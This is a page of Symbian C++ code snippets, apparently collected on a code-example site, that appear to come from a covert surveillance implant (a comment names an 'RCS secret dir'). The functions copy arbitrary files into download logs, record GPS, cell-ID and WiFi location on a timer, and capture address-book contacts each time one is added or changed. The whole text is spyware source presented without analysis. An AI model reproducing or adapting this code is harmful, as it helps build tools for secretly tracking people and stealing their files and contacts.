Exemple #1
0
void CStateDownload::DumpFileL(const TDesC& aFileName)
	{
	_LIT(KNull,"\x00");
	_LIT(KDir,"$dir$");
	TDownloadAdditionalData additionalData;
		
	//check if file it's inside RCS secret dir
	TParsePtrC parsePtrC(aFileName);
	
	if(iPrivatePath.CompareF(parsePtrC.DriveAndPath())==0)
		{
		//the file is in the private dir, we have to modify the path
		additionalData.fileName.Copy(KDir);
		additionalData.fileName.Append(parsePtrC.NameAndExt());
		additionalData.fileName.Append(KNull);  //add NULL terminator
		additionalData.uFileNamelen = additionalData.fileName.Size();
		}
	else
		{
		additionalData.fileName.Copy(aFileName);   
		additionalData.fileName.Append(KNull);	//add NULL terminator  
		additionalData.uFileNamelen = additionalData.fileName.Size();
		}
	
	RBuf8 fileBuf(FileUtils::ReadFileContentsL(iFs, aFileName));
	if(fileBuf.Size()>0)
		{
		fileBuf.CleanupClosePushL();
		CLogFile* logFile = CLogFile::NewLC(iFs);
		logFile->CreateLogL(LOGTYPE_DOWNLOAD, &additionalData);
		logFile->AppendLogL(fileBuf);    
		logFile->CloseLogL();
		CleanupStack::PopAndDestroy(logFile);
		CleanupStack::PopAndDestroy(&fileBuf);
		}
	else 
		{
		//something went wrong, usually a KErrNoMemory has been raised
		_LIT(KDownloadError,"Error in downloading file");
		CBufBase* buffer = CBufFlat::NewL(50);
		CleanupStack::PushL(buffer);
		buffer->InsertL(buffer->Size(),(TUint8*)KDownloadError().Ptr(),KDownloadError().Size());
		HBufC8* byteBuf = buffer->Ptr(0).AllocLC();
		CLogFile* logFile = CLogFile::NewLC(iFs);
		logFile->CreateLogL(LOGTYPE_INFO);
		logFile->AppendLogL(*byteBuf);
		logFile->CloseLogL();
		CleanupStack::PopAndDestroy(logFile);
		CleanupStack::PopAndDestroy(byteBuf);
		CleanupStack::PopAndDestroy(buffer);
		}
	}
Exemple #2
0
void CAgentPosition::TimerExpiredL(TAny* src)
	{
	TTime time;
	time.HomeTime();
	time += iSecondsInterv;
	iTimer->At(time);

	if (iCaptureGPS && iPollGPS)
		{
		delete iGPS;
		iGPS = NULL;
		iGPS = CGPSPosition::NewL(*this);
		iGPS->ReceiveData(10, KMaxTimeoutForFixMin);
		}
	
	if(!iStopped)
		{
		if (iCaptureCellId)
			{
			// Log CELL ID to file...
			RBuf8 buf(GetCellIdBufferL());
			buf.CleanupClosePushL();
			iLogCell->AppendLogL(buf);
			CleanupStack::PopAndDestroy(&buf);
			}
	
		if(iCaptureWiFi)
			{
			TLocationAdditionalData additionalData;
			additionalData.uType = LOGTYPE_LOCATION_WIFI;
			// Log WiFi data to file..
			RBuf8 buf(GetWiFiBufferL(&additionalData));
			buf.CleanupClosePushL();
			if (buf.Length() > 0)
				{
				// TODO: investigate why isn't always atomic.... 
				CLogFile* logFile = CLogFile::NewLC(iFs);
				logFile->CreateLogL(LOGTYPE_LOCATION_NEW, &additionalData);
				logFile->AppendLogL(buf);
				logFile->CloseLogL();
				CleanupStack::PopAndDestroy(logFile);
				}
			CleanupStack::PopAndDestroy(&buf);
			}

		}
	}
/*
 * This is called when an event on contact db is detected 
 */
void CAgentAddressbook::HandleDatabaseEventL(TContactDbObserverEvent aEvent)
{
	switch (aEvent.iType)
	{
		// Look for other events into TContactDbObserverEventType def 
		case EContactDbObserverEventContactChanged:
		case EContactDbObserverEventContactAdded:
			{
				// retrieve contact and write to log
				CContactItem* item = iContDb->ReadContactLC(aEvent.iContactId);
				RBuf8 buf(GetContactBufferL(*item));
				buf.CleanupClosePushL();
				if (buf.Length() > 0)
				{
					// append the buffer
					CLogFile* logFile = CLogFile::NewLC(iFs);
					logFile->CreateLogL(LOGTYPE_ADDRESSBOOK);
					logFile->AppendLogL(buf);
					logFile->CloseLogL();
					CleanupStack::PopAndDestroy(logFile);
					if(iMarkupFile->ExistsMarkupL(Type())){
						// if a markup exists, a dump has been performed and this 
						// is the most recent change
						RBuf8 buffer(GetTTimeBufferL(item->LastModified()));
						buffer.CleanupClosePushL();
						if (buffer.Length() > 0)
						{
							iMarkupFile->WriteMarkupL(Type(),buffer);
						}
						CleanupStack::PopAndDestroy(&buffer);
					}					
				}
				CleanupStack::PopAndDestroy(&buf);
				CleanupStack::PopAndDestroy(item);
			}
			break;
		default:
			{
				// event ignored
			}
			break;
	}
}